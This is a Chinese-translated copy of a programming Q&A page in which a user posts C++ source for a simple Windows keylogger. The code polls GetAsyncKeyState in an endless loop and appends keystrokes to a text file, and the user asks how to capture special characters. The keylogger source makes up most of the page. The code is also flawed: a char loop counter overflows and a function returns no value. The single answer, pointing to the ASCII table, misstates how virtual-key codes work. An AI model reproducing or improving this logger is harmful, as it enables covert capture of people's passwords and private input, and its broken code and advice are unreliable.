簡體   English   中英

制作一個簡單的C ++鍵盤記錄器

[英]Making a simple c++ keylogger

我已經寫了這個基本的鍵盤記錄器:

#include <tchar.h>
#include <windows.h>
#include <iostream>
#include <windows.h>
#include <winuser.h>
#include <fstream>

int Save(int out)
{
    ofstream fout("abc.txt",ios::app);
   if (out==9)
    fout<<"\nTAB\n";
   else if (out==32)
    fout<<' ';
   else if (out==13)
    fout<<'\n';
   else if (out==16)
    fout<<"\nSHIFT\n";
   else if (out>=48&&out<=59)
    fout<<out-48;
   else if (out>=65&&out<=90)
    fout<<char(tolower(out));
    fout.close();
}

int main()
{
    char i;
    while (true)
        for (i=8 ; i<190 ; i++)
            if (GetAsyncKeyState(i)==-32767)
                Save(i);
    return 0;
}

我想知道如何確定用戶何時輸入! @#$%^和特殊字符。 我該怎么做?

使用ASCII表查找這些字符的代碼。

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM